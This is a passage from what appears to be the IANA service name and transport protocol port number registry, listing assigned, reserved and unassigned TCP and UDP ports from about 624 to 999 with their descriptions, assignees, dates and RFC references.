                                      Control Protocol
cryptoadmin         624        tcp    Crypto Admin                 [Tony_Walker]                                         [Tony_Walker]
cryptoadmin         624        udp    Crypto Admin                 [Tony_Walker]                                         [Tony_Walker]
                                      DEC DLM

dec-dlm             625        tcp    IANA assigned this           [Rudi_Martin_2]                                       [Rudi_Martin_2]
                                      well-formed service name as
                                      a replacement for "dec_dlm".
                                                                                                                                                                                                                                                                                  This entry is an alias to "dec-dlm". This entry is now
dec_dlm             625        tcp    DEC DLM                      [Rudi_Martin_2]                                       [Rudi_Martin_2]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      DEC DLM

dec-dlm             625        udp    IANA assigned this           [Rudi_Martin_2]                                       [Rudi_Martin_2]
                                      well-formed service name as
                                      a replacement for "dec_dlm".
                                                                                                                                                                                                                                                                                  This entry is an alias to "dec-dlm". This entry is now
dec_dlm             625        udp    DEC DLM                      [Rudi_Martin_2]                                       [Rudi_Martin_2]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
asia                626        tcp    ASIA                         [Michael_Dasenbrock]                                  [Michael_Dasenbrock]
asia                626        udp    ASIA                         [Michael_Dasenbrock]                                  [Michael_Dasenbrock]
passgo-tivoli       627        tcp    PassGo Tivoli                [John_Rainford_2]                                     [John_Rainford_2]
passgo-tivoli       627        udp    PassGo Tivoli                [John_Rainford_2]                                     [John_Rainford_2]
qmqp                628        tcp    QMQP                         [D_J_Bernstein]                                       [D_J_Bernstein]                                                        2018-04-05
qmqp                628        udp    QMQP                         [D_J_Bernstein]                                       [D_J_Bernstein]                                                        2018-04-05
3com-amp3           629        tcp    3Com AMP3                    [Prakash_Banthia]                                     [Prakash_Banthia]
3com-amp3           629        udp    3Com AMP3                    [Prakash_Banthia]                                     [Prakash_Banthia]
rda                 630        tcp    RDA                          [John_Hadjioannou]                                    [John_Hadjioannou]
rda                 630        udp    RDA                          [John_Hadjioannou]                                    [John_Hadjioannou]
ipp                 631        tcp    IPP (Internet Printing       [IESG]                                                [IETF_Chair]                                                           2018-07-06   [RFC8011]                                                            Defined TXT keys: See BonjourPrinting.pdf.
                                      Protocol)
ipp                 631        udp    IPP (Internet Printing       [IESG]                                                [IETF_Chair]                                                           2018-07-06   [RFC8011]                                                            Defined TXT keys: See BonjourPrinting.pdf.
                                      Protocol)
ipps                631        tcp    Internet Printing Protocol   [IESG]                                                [IETF_Chair]                                              2018-07-06                [RFC8011]
                                      over HTTPS
bmpp                632        tcp    bmpp                         [Troy_Rollo]                                          [Troy_Rollo]
bmpp                632        udp    bmpp                         [Troy_Rollo]                                          [Troy_Rollo]
servstat            633        tcp    Service Status update        [Greg_Rose]                                           [Greg_Rose]
                                      (Sterling Software)
servstat            633        udp    Service Status update        [Greg_Rose]                                           [Greg_Rose]
                                      (Sterling Software)
ginad               634        tcp    ginad                        [Mark_Crother]                                        [Mark_Crother]
ginad               634        udp    ginad                        [Mark_Crother]                                        [Mark_Crother]
rlzdbase            635        tcp    RLZ DBase                    [Michael_Ginn]                                        [Michael_Ginn]
rlzdbase            635        udp    RLZ DBase                    [Michael_Ginn]                                        [Michael_Ginn]
ldaps               636        tcp    ldap protocol over TLS/SSL   [Pat_Richard]                                         [Pat_Richard]
                                      (was sldap)
ldaps               636        udp    ldap protocol over TLS/SSL   [Pat_Richard]                                         [Pat_Richard]
                                      (was sldap)
lanserver           637        tcp    lanserver                    [Chris_Larsson]                                       [Chris_Larsson]
lanserver           637        udp    lanserver                    [Chris_Larsson]                                       [Chris_Larsson]
mcns-sec            638        tcp    mcns-sec                     [Kaz_Ozawa]                                           [Kaz_Ozawa]
mcns-sec            638        udp    mcns-sec                     [Kaz_Ozawa]                                           [Kaz_Ozawa]
msdp                639        tcp    MSDP                         [Dino_Farinacci]                                      [Dino_Farinacci]
msdp                639        udp    MSDP                         [Dino_Farinacci]                                      [Dino_Farinacci]
entrust-sps         640        tcp    entrust-sps                  [Marek_Buchler]                                       [Marek_Buchler]
entrust-sps         640        udp    entrust-sps                  [Marek_Buchler]                                       [Marek_Buchler]
repcmd              641        tcp    repcmd                       [Scott_Dale]                                          [Scott_Dale]
repcmd              641        udp    repcmd                       [Scott_Dale]                                          [Scott_Dale]
esro-emsdp          642        tcp    ESRO-EMSDP V1.3              [Mohsen_Banan_2]                                      [Mohsen_Banan_2]
esro-emsdp          642        udp    ESRO-EMSDP V1.3              [Mohsen_Banan_2]                                      [Mohsen_Banan_2]
sanity              643        tcp    SANity                       [Peter_Viscarola]                                     [Peter_Viscarola]
sanity              643        udp    SANity                       [Peter_Viscarola]                                     [Peter_Viscarola]
dwr                 644        tcp    dwr                          [Bill_Fenner]                                         [Bill_Fenner]
dwr                 644        udp    dwr                          [Bill_Fenner]                                         [Bill_Fenner]
pssc                645        tcp    PSSC                         [Egon_Meier_Engelen]                                  [Egon_Meier_Engelen]
pssc                645        udp    PSSC                         [Egon_Meier_Engelen]                                  [Egon_Meier_Engelen]
ldp                 646        tcp    LDP                          [Bob_Thomas]                                          [Bob_Thomas]
ldp                 646        udp    LDP                          [Bob_Thomas]                                          [Bob_Thomas]
dhcp-failover       647        tcp    DHCP Failover                [IESG]                                                [IETF_Chair]                                                           2018-05-21   [RFC8156]
dhcp-failover       647        udp    DHCP Failover                [Bernard_Volz]                                        [Bernard_Volz]
rrp                 648        tcp    Registry Registrar Protocol  [Scott_Hollenbeck]                                    [Scott_Hollenbeck]
                                      (RRP)
rrp                 648        udp    Registry Registrar Protocol  [Scott_Hollenbeck]                                    [Scott_Hollenbeck]
                                      (RRP)
cadview-3d          649        tcp    Cadview-3d - streaming 3d    [David_Cooper]                                        [David_Cooper]
                                      models over the internet
cadview-3d          649        udp    Cadview-3d - streaming 3d    [David_Cooper]                                        [David_Cooper]
                                      models over the internet
obex                650        tcp    OBEX                         [Jeff_Garbers]                                        [Jeff_Garbers]
obex                650        udp    OBEX                         [Jeff_Garbers]                                        [Jeff_Garbers]
ieee-mms            651        tcp    IEEE MMS                     [Curtis_Anderson]                                     [Curtis_Anderson]
ieee-mms            651        udp    IEEE MMS                     [Curtis_Anderson]                                     [Curtis_Anderson]
hello-port          652        tcp    HELLO_PORT                   [Patrick_Cipiere]                                     [Patrick_Cipiere]
hello-port          652        udp    HELLO_PORT                   [Patrick_Cipiere]                                     [Patrick_Cipiere]
repscmd             653        tcp    RepCmd                       [Scott_Dale_2]                                        [Scott_Dale_2]
repscmd             653        udp    RepCmd                       [Scott_Dale_2]                                        [Scott_Dale_2]
aodv                654        tcp    AODV                         [Charles_Perkins]                                     [Charles_Perkins]
aodv                654        udp    AODV                         [Charles_Perkins]                                     [Charles_Perkins]
tinc                655        tcp    TINC                         [Ivo_Timmermans]                                      [Ivo_Timmermans]
tinc                655        udp    TINC                         [Ivo_Timmermans]                                      [Ivo_Timmermans]
spmp                656        tcp    SPMP                         [Jakob_Kaivo]                                         [Jakob_Kaivo]
spmp                656        udp    SPMP                         [Jakob_Kaivo]                                         [Jakob_Kaivo]
rmc                 657        tcp    RMC                          [Michael_Schmidt]                                     [Michael_Schmidt]
rmc                 657        udp    RMC                          [Michael_Schmidt]                                     [Michael_Schmidt]
tenfold             658        tcp    TenFold                      [Louis_Olszyk]                                        [Louis_Olszyk]
tenfold             658        udp    TenFold                      [Louis_Olszyk]                                        [Louis_Olszyk]
                    659               Removed                                                                                                                                                   2001-06-06
mac-srvr-admin      660        tcp    MacOS Server Admin           [Forest_Hill]                                         [Forest_Hill]
mac-srvr-admin      660        udp    MacOS Server Admin           [Forest_Hill]                                         [Forest_Hill]
hap                 661        tcp    HAP                          [Igor_Plotnikov]                                      [Igor_Plotnikov]
hap                 661        udp    HAP                          [Igor_Plotnikov]                                      [Igor_Plotnikov]
pftp                662        tcp    PFTP                         [Ben_Schluricke]                                      [Ben_Schluricke]
pftp                662        udp    PFTP                         [Ben_Schluricke]                                      [Ben_Schluricke]
purenoise           663        tcp    PureNoise                    [Sam_Osa]                                             [Sam_Osa]
purenoise           663        udp    PureNoise                    [Sam_Osa]                                             [Sam_Osa]
oob-ws-https        664        tcp    DMTF out-of-band secure web  [Jim_Davis]                                           [Jim_Davis]                                               2007-06
                                      services management protocol
asf-secure-rmcp     664        udp    ASF Secure Remote Management [Carl_First]                                          [Carl_First]
                                      and Control Protocol
sun-dr              665        tcp    Sun DR                       [Harinder_Bhasin]                                     [Harinder_Bhasin]
sun-dr              665        udp    Sun DR                       [Harinder_Bhasin]                                     [Harinder_Bhasin]
mdqs                666        tcp
mdqs                666        udp
doom                666        tcp    doom Id Software             [ddt]                                                 [ddt]
doom                666        udp    doom Id Software             [ddt]                                                 [ddt]
                                      campaign contribution
disclose            667        tcp    disclosures - SDR            [Jim_Dixon]                                           [Jim_Dixon]
                                      Technologies
                                      campaign contribution
disclose            667        udp    disclosures - SDR            [Jim_Dixon]                                           [Jim_Dixon]
                                      Technologies
mecomm              668        tcp    MeComm
mecomm              668        udp    MeComm
meregister          669        tcp    MeRegister                   [Armin_Sawusch]                                       [Armin_Sawusch]
meregister          669        udp    MeRegister                   [Armin_Sawusch]                                       [Armin_Sawusch]
vacdsm-sws          670        tcp    VACDSM-SWS
vacdsm-sws          670        udp    VACDSM-SWS
vacdsm-app          671        tcp    VACDSM-APP
vacdsm-app          671        udp    VACDSM-APP
vpps-qua            672        tcp    VPPS-QUA
vpps-qua            672        udp    VPPS-QUA
cimplex             673        tcp    CIMPLEX                      [Ulysses_G_Smith_Jr]                                  [Ulysses_G_Smith_Jr]
cimplex             673        udp    CIMPLEX                      [Ulysses_G_Smith_Jr]                                  [Ulysses_G_Smith_Jr]
acap                674        tcp    ACAP                         [Chris_Newman]                                        [Chris_Newman]                                                         2010-10-15
acap                674        udp    ACAP                         [Chris_Newman]                                        [Chris_Newman]                                                         2010-10-15
dctp                675        tcp    DCTP                         [Andre_Kramer]                                        [Andre_Kramer]
dctp                675        udp    DCTP                         [Andre_Kramer]                                        [Andre_Kramer]
vpps-via            676        tcp    VPPS Via                     [Ulysses_G_Smith_Jr]                                  [Ulysses_G_Smith_Jr]
vpps-via            676        udp    VPPS Via                     [Ulysses_G_Smith_Jr]                                  [Ulysses_G_Smith_Jr]
vpp                 677        tcp    Virtual Presence Protocol    [Klaus_Wolf]                                          [Klaus_Wolf]
vpp                 677        udp    Virtual Presence Protocol    [Klaus_Wolf]                                          [Klaus_Wolf]
ggf-ncp             678        tcp    GNU Generation Foundation    [Noah_Paul]                                           [Noah_Paul]
                                      NCP
ggf-ncp             678        udp    GNU Generation Foundation    [Noah_Paul]                                           [Noah_Paul]
                                      NCP
mrm                 679        tcp    MRM                          [Liming_Wei]                                          [Liming_Wei]
mrm                 679        udp    MRM                          [Liming_Wei]                                          [Liming_Wei]
entrust-aaas        680        tcp    entrust-aaas
entrust-aaas        680        udp    entrust-aaas
entrust-aams        681        tcp    entrust-aams                 [Adrian_Mancini]                                      [Adrian_Mancini]
entrust-aams        681        udp    entrust-aams                 [Adrian_Mancini]                                      [Adrian_Mancini]
xfr                 682        tcp    XFR                          [Noah_Paul_2]                                         [Noah_Paul_2]
xfr                 682        udp    XFR                          [Noah_Paul_2]                                         [Noah_Paul_2]
corba-iiop          683        tcp    CORBA IIOP
corba-iiop          683        udp    CORBA IIOP
corba-iiop-ssl      684        tcp    CORBA IIOP SSL               [Andrew_Watson]                                       [Andrew_Watson]
corba-iiop-ssl      684        udp    CORBA IIOP SSL               [Andrew_Watson]                                       [Andrew_Watson]
mdc-portmapper      685        tcp    MDC Port Mapper              [Noah_Paul]                                           [Noah_Paul]
mdc-portmapper      685        udp    MDC Port Mapper              [Noah_Paul]                                           [Noah_Paul]
hcp-wismar          686        tcp    Hardware Control Protocol    [David_Merchant]                                      [David_Merchant]
                                      Wismar
hcp-wismar          686        udp    Hardware Control Protocol    [David_Merchant]                                      [David_Merchant]
                                      Wismar
asipregistry        687        tcp    asipregistry                 [Erik_Sea]                                            [Erik_Sea]
asipregistry        687        udp    asipregistry                 [Erik_Sea]                                            [Erik_Sea]
realm-rusd          688        tcp    ApplianceWare managment      [Stacy_Kenworthy]                                     [Stacy_Kenworthy]
                                      protocol
realm-rusd          688        udp    ApplianceWare managment      [Stacy_Kenworthy]                                     [Stacy_Kenworthy]
                                      protocol
nmap                689        tcp    NMAP                         [Peter_Dennis_Bartok]                                 [Peter_Dennis_Bartok]
nmap                689        udp    NMAP                         [Peter_Dennis_Bartok]                                 [Peter_Dennis_Bartok]
vatp                690        tcp    Velneo Application Transfer  [Velneo]                                              [David_Gutierrez]                                                      2015-02-03
                                      Protocol
vatp                690        udp    Velneo Application Transfer  [Velneo]                                              [David_Gutierrez]                                                      2015-02-03
                                      Protocol
msexch-routing      691        tcp    MS Exchange Routing          [David_Lemson]                                        [David_Lemson]
msexch-routing      691        udp    MS Exchange Routing          [David_Lemson]                                        [David_Lemson]
hyperwave-isp       692        tcp    Hyperwave-ISP                [Gerald_Mesaric]                                      [Gerald_Mesaric]
hyperwave-isp       692        udp    Hyperwave-ISP                [Gerald_Mesaric]                                      [Gerald_Mesaric]
connendp            693        tcp    almanid Connection Endpoint  [Ronny_Bremer]                                        [Ronny_Bremer]
connendp            693        udp    almanid Connection Endpoint  [Ronny_Bremer]                                        [Ronny_Bremer]
ha-cluster          694        tcp    ha-cluster                   [Alan_Robertson]                                      [Alan_Robertson]
ha-cluster          694        udp    ha-cluster                   [Alan_Robertson]                                      [Alan_Robertson]
ieee-mms-ssl        695        tcp    IEEE-MMS-SSL                 [Curtis_Anderson_2]                                   [Curtis_Anderson_2]
ieee-mms-ssl        695        udp    IEEE-MMS-SSL                 [Curtis_Anderson_2]                                   [Curtis_Anderson_2]
rushd               696        tcp    RUSHD                        [Greg_Ercolano]                                       [Greg_Ercolano]
rushd               696        udp    RUSHD                        [Greg_Ercolano]                                       [Greg_Ercolano]
uuidgen             697        tcp    UUIDGEN                      [James_Falkner]                                       [James_Falkner]
uuidgen             697        udp    UUIDGEN                      [James_Falkner]                                       [James_Falkner]
olsr                698        tcp    OLSR                         [Thomas_Clausen]                                      [Thomas_Clausen]
olsr                698        udp    OLSR                         [Thomas_Clausen]                                      [Thomas_Clausen]
accessnetwork       699        tcp    Access Network               [Yingchun_Xu]                                         [Yingchun_Xu]
accessnetwork       699        udp    Access Network               [Yingchun_Xu]                                         [Yingchun_Xu]
epp                 700        tcp    Extensible Provisioning                                                                                                                                                [RFC5734]
                                      Protocol
epp                 700        udp    Extensible Provisioning                                                                                                                                                [RFC5734]
                                      Protocol
lmp                 701        tcp    Link Management Protocol                                                                                                                                               [RFC4204]
                                      (LMP)
lmp                 701        udp    Link Management Protocol                                                                                                                                               [RFC4204]
                                      (LMP)
iris-beep           702        tcp    IRIS over BEEP                                                                                                                                                         [RFC3983]
iris-beep           702        udp    IRIS over BEEP                                                                                                                                                         [RFC3983]
                    703               Unassigned
elcsd               704        tcp    errlog copy/server daemon
elcsd               704        udp    errlog copy/server daemon
agentx              705        tcp    AgentX                       [Bob_Natale]                                          [Bob_Natale]
agentx              705        udp    AgentX                       [Bob_Natale]                                          [Bob_Natale]
silc                706        tcp    SILC                         [Pekka_Riikonen]                                      [Pekka_Riikonen]
silc                706        udp    SILC                         [Pekka_Riikonen]                                      [Pekka_Riikonen]
borland-dsj         707        tcp    Borland DSJ                  [Gerg_Cole]                                           [Gerg_Cole]
borland-dsj         707        udp    Borland DSJ                  [Gerg_Cole]                                           [Gerg_Cole]
                    708               Unassigned
entrust-kmsh        709        tcp    Entrust Key Management
                                      Service Handler
entrust-kmsh        709        udp    Entrust Key Management
                                      Service Handler
entrust-ash         710        tcp    Entrust Administration       [Peter_Whittaker]                                     [Peter_Whittaker]
                                      Service Handler
entrust-ash         710        udp    Entrust Administration       [Peter_Whittaker]                                     [Peter_Whittaker]
                                      Service Handler
cisco-tdp           711        tcp    Cisco TDP                    [Bruce_Davie]                                         [Bruce_Davie]
cisco-tdp           711        udp    Cisco TDP                    [Bruce_Davie]                                         [Bruce_Davie]
tbrpf               712        tcp    TBRPF                                                                                                                                                                  [RFC3684]
tbrpf               712        udp    TBRPF                                                                                                                                                                  [RFC3684]
iris-xpc            713        tcp    IRIS over XPC
iris-xpc            713        udp    IRIS over XPC
iris-xpcs           714        tcp    IRIS over XPCS                                                                                                                                                         [RFC4992]
iris-xpcs           714        udp    IRIS over XPCS                                                                                                                                                         [RFC4992]
iris-lwz            715        tcp    IRIS-LWZ                                                                                                                                                               [RFC4993]
iris-lwz            715        udp    IRIS-LWZ                                                                                                                                                               [RFC4993]
pana                716        udp    PANA Messages                                                                                                                                                          [RFC5191]
                  717-728             Unassigned
netviewdm1          729        tcp    IBM NetView DM/6000
                                      Server/Client
netviewdm1          729        udp    IBM NetView DM/6000
                                      Server/Client
netviewdm2          730        tcp    IBM NetView DM/6000 send/tcp
netviewdm2          730        udp    IBM NetView DM/6000 send/tcp
netviewdm3          731        tcp    IBM NetView DM/6000          [Philippe_Binet]                                      [Philippe_Binet]
                                      receive/tcp
netviewdm3          731        udp    IBM NetView DM/6000          [Philippe_Binet]                                      [Philippe_Binet]
                                      receive/tcp
                  732-740             Unassigned
netgw               741        tcp    netGW                        [Oliver_Korfmacher]                                   [Oliver_Korfmacher]
netgw               741        udp    netGW                        [Oliver_Korfmacher]                                   [Oliver_Korfmacher]
netrcs              742        tcp    Network based Rev. Cont.     [Gordon_C_Galligher]                                  [Gordon_C_Galligher]
                                      Sys.
netrcs              742        udp    Network based Rev. Cont.     [Gordon_C_Galligher]                                  [Gordon_C_Galligher]
                                      Sys.
                    743               Unassigned
flexlm              744        tcp    Flexible License Manager     [Matt_Christiano]                                     [Matt_Christiano]
flexlm              744        udp    Flexible License Manager     [Matt_Christiano]                                     [Matt_Christiano]
                  745-746             Unassigned
fujitsu-dev         747        tcp    Fujitsu Device Control
fujitsu-dev         747        udp    Fujitsu Device Control
ris-cm              748        tcp    Russell Info Sci Calendar
                                      Manager
ris-cm              748        udp    Russell Info Sci Calendar
                                      Manager
kerberos-adm        749        tcp    kerberos administration
kerberos-adm        749        udp    kerberos administration
rfile               750        tcp
loadav              750        udp
kerberos-iv         750        udp    kerberos version iv          [Martin_Hamilton]                                     [Martin_Hamilton]
pump                751        tcp
pump                751        udp
qrh                 752        tcp
qrh                 752        udp
rrh                 753        tcp
rrh                 753        udp
tell                754        tcp    send                         [Josyula_R_Rao]                                       [Josyula_R_Rao]
tell                754        udp    send                         [Josyula_R_Rao]                                       [Josyula_R_Rao]
                  755-757             Unassigned
nlogin              758        tcp
nlogin              758        udp
con                 759        tcp
con                 759        udp
ns                  760        tcp
ns                  760        udp
rxe                 761        tcp
rxe                 761        udp
quotad              762        tcp
quotad              762        udp
cycleserv           763        tcp
cycleserv           763        udp
omserv              764        tcp
omserv              764        udp
webster             765        tcp                                 [Josyula_R_Rao]                                       [Josyula_R_Rao]
webster             765        udp                                 [Josyula_R_Rao]                                       [Josyula_R_Rao]
                    766               Unassigned
phonebook           767        tcp    phone                        [Josyula_R_Rao]                                       [Josyula_R_Rao]
phonebook           767        udp    phone                        [Josyula_R_Rao]                                       [Josyula_R_Rao]
                    768               Unassigned
vid                 769        tcp
vid                 769        udp
cadlock             770        tcp
cadlock             770        udp
rtip                771        tcp
rtip                771        udp
cycleserv2          772        tcp
cycleserv2          772        udp
submit              773        tcp
notify              773        udp
rpasswd             774        tcp
                                      IANA assigned this
acmaint-dbd         774        udp    well-formed service name as
                                      a replacement for
                                      "acmaint_dbd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "acmaint-dbd". This entry is now
acmaint_dbd         774        udp                                                                                                                                                                                                                                                historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
entomb              775        tcp
                                      IANA assigned this
acmaint-transd      775        udp    well-formed service name as
                                      a replacement for
                                      "acmaint_transd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "acmaint-transd". This entry is now
acmaint_transd      775        udp                                                                                                                                                                                                                                                historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
wpages              776        tcp                                 [Josyula_R_Rao]                                       [Josyula_R_Rao]
wpages              776        udp                                 [Josyula_R_Rao]                                       [Josyula_R_Rao]
multiling-http      777        tcp    Multiling HTTP               [Alejandro_Bonet]                                     [Alejandro_Bonet]
multiling-http      777        udp    Multiling HTTP               [Alejandro_Bonet]                                     [Alejandro_Bonet]
                  778-779             Unassigned
wpgs                780        tcp                                 [Josyula_R_Rao]                                       [Josyula_R_Rao]
wpgs                780        udp                                 [Josyula_R_Rao]                                       [Josyula_R_Rao]
                  781-785             Unassigned
                    786               Unassigned                                                                                                                                                2002-05-08
                    787               Unassigned                                                                                                                                                2002-10-08
                                                                                                                                                                                                                                                                     Unauthorized
                  788-799             Unassigned                                                                                                                                                                                                                     Use Known on
                                                                                                                                                                                                                                                                     port 796
                                      IANA assigned this
mdbs-daemon         800        tcp    well-formed service name as
                                      a replacement for
                                      "mdbs_daemon".
                                                                                                                                                                                                                                                                                  This entry is an alias to "mdbs-daemon". This entry is now
mdbs_daemon         800        tcp                                                                                                                                                                                                                                                historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      IANA assigned this
mdbs-daemon         800        udp    well-formed service name as
                                      a replacement for
                                      "mdbs_daemon".
                                                                                                                                                                                                                                                                                  This entry is an alias to "mdbs-daemon". This entry is now
mdbs_daemon         800        udp                                                                                                                                                                                                                                                historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
device              801        tcp
device              801        udp
mbap-s              802        tcp    Modbus Application Protocol  [modbus.org]                                          [Dennis_Dube]                                             2014-06-10
                                      Secure
mbap-s              802        udp    Modbus Application Protocol  [modbus.org]                                          [Dennis_Dube]                                             2014-06-10
                                      Secure
                  803-809             Unassigned
fcp-udp             810        tcp    FCP                          [Paul_Whittemore]                                     [Paul_Whittemore]
fcp-udp             810        udp    FCP Datagram                 [Paul_Whittemore]                                     [Paul_Whittemore]
                  811-827             Unassigned
itm-mcell-s         828        tcp    itm-mcell-s                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
itm-mcell-s         828        udp    itm-mcell-s                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
pkix-3-ca-ra        829        tcp    PKIX-3 CA/RA                 [Carlisle_Adams]                                      [Carlisle_Adams]
pkix-3-ca-ra        829        udp    PKIX-3 CA/RA                 [Carlisle_Adams]                                      [Carlisle_Adams]
netconf-ssh         830        tcp    NETCONF over SSH                                                                                                                                                       [RFC6242]
netconf-ssh         830        udp    NETCONF over SSH                                                                                                                                                       [RFC6242]
netconf-beep        831        tcp    NETCONF over BEEP                                                                                                                                                      [RFC4744]
netconf-beep        831        udp    NETCONF over BEEP                                                                                                                                                      [RFC4744]
netconfsoaphttp     832        tcp    NETCONF for SOAP over HTTPS                                                                                                                                            [RFC4743]
netconfsoaphttp     832        udp    NETCONF for SOAP over HTTPS                                                                                                                                            [RFC4743]
netconfsoapbeep     833        tcp    NETCONF for SOAP over BEEP                                                                                                                                             [RFC4743]
netconfsoapbeep     833        udp    NETCONF for SOAP over BEEP                                                                                                                                             [RFC4743]
                  834-846             Unassigned
dhcp-failover2      847        tcp    dhcp-failover 2              [Bernard_Volz]                                        [Bernard_Volz]
dhcp-failover2      847        udp    dhcp-failover 2              [Bernard_Volz]                                        [Bernard_Volz]
gdoi                848        tcp    GDOI                                                                                                                                                                   [RFC3547]
gdoi                848        udp    GDOI                                                                                                                                                                   [RFC3547]
                  849-852             Unassigned
domain-s            853        tcp    DNS query-response protocol  [IESG]                                                [IETF_Chair]                                              2015-10-08   2017-01-23   [RFC7858][RFC8094]
                                      run over TLS/DTLS
domain-s            853        udp    DNS query-response protocol  [IESG]                                                [IETF_Chair]                                              2015-10-08   2017-01-23   [RFC7858][RFC8094]
                                      run over TLS/DTLS
dlep                854        tcp    Dynamic Link Exchange        [IESG]                                                [IETF_Chair]                                              2017-04-03                [RFC8175]
                                      Protocol (DLEP)
dlep                854        udp    Dynamic Link Exchange        [IESG]                                                [IETF_Chair]                                              2017-04-03                [RFC8175]
                                      Protocol (DLEP)
                  855-859             Unassigned
iscsi               860        tcp    iSCSI                        [IESG]                                                [IETF_Chair]                                                           2013-08-27   [RFC7143]
iscsi               860        udp    iSCSI                        [IESG]                                                [IETF_Chair]                                                           2013-08-27   [RFC7143]
owamp-control       861        tcp    OWAMP-Control                                                                                                                                                          [RFC4656]
owamp-control       861        udp    OWAMP-Control                                                                                                                                                          [RFC4656]
twamp-control       862        tcp    Two-way Active Measurement                                                                                                                                             [RFC5357]
                                      Protocol (TWAMP) Control
twamp-control       862        udp    Two-way Active Measurement                                                                                                                                             [RFC5357]
                                      Protocol (TWAMP) Control
                  863-872             Unassigned
rsync               873        tcp    rsync                        [Andrew_Tridgell]                                     [Andrew_Tridgell]
rsync               873        udp    rsync                        [Andrew_Tridgell]                                     [Andrew_Tridgell]
                  874-885             Unassigned
iclcnet-locate      886        tcp    ICL coNETion locate server   [Bob_Lyon]                                            [Bob_Lyon]
iclcnet-locate      886        udp    ICL coNETion locate server   [Bob_Lyon]                                            [Bob_Lyon]
                                      ICL coNETion server info

iclcnet-svinfo      887        tcp    IANA assigned this           [Bob_Lyon]                                            [Bob_Lyon]
                                      well-formed service name as
                                      a replacement for
                                      "iclcnet_svinfo".
                                                                                                                                                                                                                                                                                  This entry is an alias to "iclcnet-svinfo". This entry is now
iclcnet_svinfo      887        tcp    ICL coNETion server info     [Bob_Lyon]                                            [Bob_Lyon]                                                                                                                                               historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      ICL coNETion server info

iclcnet-svinfo      887        udp    IANA assigned this           [Bob_Lyon]                                            [Bob_Lyon]
                                      well-formed service name as
                                      a replacement for
                                      "iclcnet_svinfo".
                                                                                                                                                                                                                                                                                  This entry is an alias to "iclcnet-svinfo". This entry is now
iclcnet_svinfo      887        udp    ICL coNETion server info     [Bob_Lyon]                                            [Bob_Lyon]                                                                                                                                               historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
accessbuilder       888        tcp    AccessBuilder                [Steve_Sweeney]                                       [Steve_Sweeney]
accessbuilder       888        udp    AccessBuilder                [Steve_Sweeney]                                       [Steve_Sweeney]
cddbp               888        tcp    CD Database Protocol         [Steve_Scherf]                                        [Steve_Scherf]                                                                                                                                           This entry records an unassigned but widespread use
                  889-899             Unassigned
omginitialrefs      900        tcp    OMG Initial Refs             [Christian_Callsen]                                   [Christian_Callsen]
omginitialrefs      900        udp    OMG Initial Refs             [Christian_Callsen]                                   [Christian_Callsen]
smpnameres          901        tcp    SMPNAMERES                   [Leif_Ekblad]                                         [Leif_Ekblad]
smpnameres          901        udp    SMPNAMERES                   [Leif_Ekblad]                                         [Leif_Ekblad]
ideafarm-door       902        tcp    self documenting Telnet Door
ideafarm-door       902        udp    self documenting Door: send
                                      0x00 for info
ideafarm-panic      903        tcp    self documenting Telnet      [Wo_o_Ideafarm]                                       [Wo_o_Ideafarm]
                                      Panic Door
ideafarm-panic      903        udp    self documenting Panic Door: [Wo_o_Ideafarm]                                       [Wo_o_Ideafarm]
                                      send 0x00 for info
                  904-909             Unassigned
kink                910        tcp    Kerberized Internet                                                                                                                                                    [RFC4430]
                                      Negotiation of Keys (KINK)
kink                910        udp    Kerberized Internet                                                                                                                                                    [RFC4430]
                                      Negotiation of Keys (KINK)
xact-backup         911        tcp    xact-backup                  [Bill_Carroll]                                        [Bill_Carroll]
xact-backup         911        udp    xact-backup                  [Bill_Carroll]                                        [Bill_Carroll]
apex-mesh           912        tcp    APEX relay-relay service
apex-mesh           912        udp    APEX relay-relay service
apex-edge           913        tcp    APEX endpoint-relay service                                                                                                                                            [RFC3340]
apex-edge           913        udp    APEX endpoint-relay service                                                                                                                                            [RFC3340]
                  914-952             Unassigned
rndc                953        tcp    BIND9 remote name daemon     [Internet_Systems_Consortium_Inc]                     [Ray_Bellis]                                              2017-06-08
                                      controller
                    953        udp    Reserved
                  954-988             Unassigned
ftps-data           989        tcp    ftp protocol, data, over
                                      TLS/SSL
ftps-data           989        udp    ftp protocol, data, over
                                      TLS/SSL
ftps                990        tcp    ftp protocol, control, over  [Christopher_Allen]                                   [Christopher_Allen]
                                      TLS/SSL
ftps                990        udp    ftp protocol, control, over  [Christopher_Allen]                                   [Christopher_Allen]
                                      TLS/SSL
nas                 991        tcp    Netnews Administration       [Vera_Heinau][Heiko_Schlichting]                      [Vera_Heinau][Heiko_Schlichting]                                       2017-02-10   [RFC4707]
                                      System
nas                 991        udp    Netnews Administration       [Vera_Heinau][Heiko_Schlichting]                      [Vera_Heinau][Heiko_Schlichting]                                       2017-02-10   [RFC4707]
                                      System
telnets             992        tcp    telnet protocol over TLS/SSL
telnets             992        udp    telnet protocol over TLS/SSL
imaps               993        tcp    IMAP over TLS protocol       [IESG]                                                [IETF_Chair]                                                           2017-12-12   [RFC8314]
imaps               993        udp    imap4 protocol over TLS/SSL
                    994        tcp    Reserved                                                                                                                                                  2011-08-31                                                                        (previous contact was[Christopher_Allen])
                    994        udp    Reserved
pop3s               995        tcp    POP3 over TLS protocol       [IESG]                                                [IETF_Chair]                                                           2017-12-12   [RFC8314]
pop3s               995        udp    pop3 protocol over TLS/SSL   [Gordon_Mangione]                                     [Gordon_Mangione]
                                      (was spop3)
vsinet              996        tcp    vsinet                       [Rob_Juergens]                                        [Rob_Juergens]
vsinet              996        udp    vsinet                       [Rob_Juergens]                                        [Rob_Juergens]
maitrd              997        tcp
maitrd              997        udp
busboy              998        tcp
puparp              998        udp
garcon              999        tcp
applix              999        udp    Applix ac
puprouter           999        tcp
puprouter           999        udp
